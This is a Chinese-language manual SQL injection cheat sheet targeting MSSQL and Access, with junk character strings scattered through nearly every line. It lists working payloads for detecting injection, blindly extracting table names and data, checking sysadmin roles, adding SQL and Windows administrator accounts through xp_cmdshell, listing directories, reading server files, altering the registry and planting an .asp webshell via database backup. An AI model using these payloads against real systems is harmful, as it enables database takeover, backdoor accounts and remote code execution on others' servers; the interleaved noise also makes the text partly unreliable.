手工脚本注入 . u! n) s* t8 `& i6 f3 c
1.判断是否有注入;and 1=1 ;and 1=2 " \& q f' N" ]! ^0 O+ Z2 R
4 q5 A2 I1 }- n/ K- l/ t+ j) }
2.初步判断是否是mssql ;and user>0
) h$ `0 [6 M7 R& ~1 _& G, u" H
. u& {9 j7 i+ p5 P3.注入参数是字符'and [查询条件] and ''=' . ^( z: k/ g! s8 x! v" ^4 k
0 C% b. i/ ]: Q0 H. c* t- y4.搜索时没过滤参数的'and [查询条件] and '%25'=' 8 i& T: s( |' p& o6 \6 o: e/ o
1 s+ S1 r8 W7 A% L* G5 W4 N b5.判断数据库系统 2 T& _. N3 X$ I8 F/ B
;and (select count(*) from sysobjects)>0 mssql ' S- Q d" b9 U* [. l
;and (select count(*) from msysobjects)>0 access % e0 {6 g6 W; F5 t$ R. v, a/ W
8 R9 \- e% H; P" y6.猜数据库 ;and (select Count(*) from [数据库名])>0 ) X( R, {$ `; ~, I; ]: ?: r9 p
+ V( J) e* J) H7 B3 C' G
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 2 {4 [+ }8 c: L
# e9 [" ^: C0 G7 w1 ~/ j% ]7 J8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
9 L2 t% S% b- F d1 D' o$ b e2 v4 J# ^! u& c7 `1 z2 H
9.(1)猜字段的ascii值(access)
4 V5 U! K) v+ U& z. D;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
S( A; c, S6 t0 z
9 e, [1 _' e7 G4 u(2)猜字段的ascii值(mssql)
, @7 C+ p- t. |0 s! S8 h" m6 p6 T;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 5 a( s) v* \0 P3 V6 h
2 J$ e: Y8 H: D) _- ?6 M: o10.测试权限结构(mssql) ) x8 C) i. a* q) z4 W
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- " _- e- `% }" |: O1 y, K
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $ g% W, s% o& q4 X
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
4 U; ?4 d; s4 i* m, e3 t; ^% l& L- R;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
1 i) ~9 C/ x) O; b7 n( b/ t6 Y1 t;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
* {! ` ?( ~% q2 B( _* p;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
5 B- G0 h1 `5 |, H7 C' t;and 1=(select IS_MEMBER('db_owner'));-- " S2 {2 e y8 I% s; h" S0 }
1 _- s9 b y, R% S11.添加mssql和系统的帐户
) N# c' U9 c8 A; Z6 @' Z, {( i$ `;exec master.dbo.sp_addlogin username;-- # i+ J$ O; Y7 h+ H
# P- c, t! g2 z7 [0 t$ H- a2 u;exec master.dbo.sp_password null,username,password;--
# R1 x! i. e, S/ o) \# w7 I2 \' I5 c! V
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
' K- `* G, M) a" A6 k1 m% V; h# m8 m7 C
% ~2 A2 j( L0 y. k. x* q- m;exec master.dbo.xp_cmdshell 'net user username password 9 o! _6 M, h* j& G) O
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
2 j7 @$ P# E9 K' m0 f5 q
9 w" l# Z [6 G;exec master.dbo.xp_cmdshell 'net user username password /add';-- ( j0 A, k# M& S7 f/ n
' A/ w6 f/ s1 d* u. j( F' [;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- - z5 k1 Z- m1 E5 c
7 C3 d( s5 f: |6 C3 [2 Y12.(1)遍历目录
$ N8 i/ _5 J/ s$ Z2 e( E
0 @% ]4 `9 l( U8 z/ f* L" @8 Q;create table dirs(paths varchar(100), id int) ( o# M9 t ^$ d0 S7 m: _
;insert dirs exec master.dbo.xp_dirtree 'c:\'
9 |0 j9 s; C: p- @4 m;and (select top 1 paths from dirs)>0 5 V5 J6 W' h- n
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
2 \/ y* H3 i. O; ?7 M- j
& O# u! K x: w7 Y. \7 I! E(2)遍历目录
# n4 }' K% [1 o( a/ d; q; z8 r;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
2 M5 U, p0 q& x! U; |;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 z' D- m; G6 G
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 + H+ [" t/ r! T7 u
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 % O5 g, K) ?! g8 ]2 ^
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 3 z9 d, Z$ C. c1 E
- ^4 a- u" Y8 [13.mssql中的存储过程
3 o. b F8 I! m5 A' s/ x U" y
0 f3 G, Z. p" B4 Mxp_regenumvalues 注册表根键, 子键 # r3 p0 h ^4 K: O8 j
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 : F! _, Q L" o* f3 m- Z4 g- X( \. ]
+ h1 |2 ]4 t6 A9 t
xp_regread 根键,子键,键值名
0 o8 }( j( N% W7 E" h# F5 C;exec xp_regread
( n( t% X8 {# [+ @) S, D'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 % G; [& ~7 R( I# r7 p( @7 `$ f
/ X# @$ J: b9 z: K; Y% V1 ?xp_regwrite 根键,子键, 值名, 值类型, 值
( `# i- \2 C& Y' S! d/ ^' c: U值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' q0 `% O- L L/ i- b3 x6 ?" U;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 3 _+ x5 Z& G1 C( {7 w5 ?# `6 B" [7 r
, X, t+ V% H/ u8 c3 k
xp_regdeletevalue 根键,子键,值名
B% f( f2 g; [8 L) Q. Y
& Q: v( k$ B, z/ x0 z; q( }exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
6 K0 u' c+ t* {) e" U. g5 \
7 z6 R+ ]4 o: M: |5 Y; Q/ }xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 - r; L" d( H% d C# L5 ?
, a+ e7 w: L& a
14.mssql的backup创建webshell ) d- G/ K$ M+ E1 _% @
use model , d$ z0 z/ B" j
create table cmd(str image);
0 u5 r. X3 f" \: }* t6 ^4 Cinsert into cmd(str) values ('');
) l! x3 f* U1 y3 f Z5 Xbackup database model to disk='c:\l.asp';
4 s! W1 \. c2 r' h5 @1 v m& j; s+ L
15.mssql内置函数 & c. i& j& i3 d1 ~
;and (select @@version)>0 获得Windows的版本号 3 a; D: J" a1 ?- f# f& J! G* {
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
2 D/ Y4 h: O, z( d;and (select user_name())>0 爆当前系统的连接用户 4 I1 B) o: H$ O6 G
;and (select db_name())>0 得到当前连接的数据库
7 U( x) i6 |: ]# O8 Z8 ~; E8 O' Q) i0 R7 j# l. f/ Z$ s$ k" q
16.简洁的webshell
8 N1 @3 ^ c* w6 W1 q# F4 N; R3 _' O7 j L+ t
use model
( H- a+ w" r$ F. L8 y
! k% E+ n* C: b# a2 e1 Kcreate table cmd(str image);
\$ B! y4 _' ]9 v6 a
+ X x# J; N% g) _+ yinsert into cmd(str) values ('');
5 l8 q# q& m; s& a8 p% p2 y9 P! |1 d8 u! K( J$ ~( m
backup database model to disk='g:\wwwtest\l.asp';
& @2 d, S3 m3 @/ R7 O9 ~
% q |1 G" U3 R |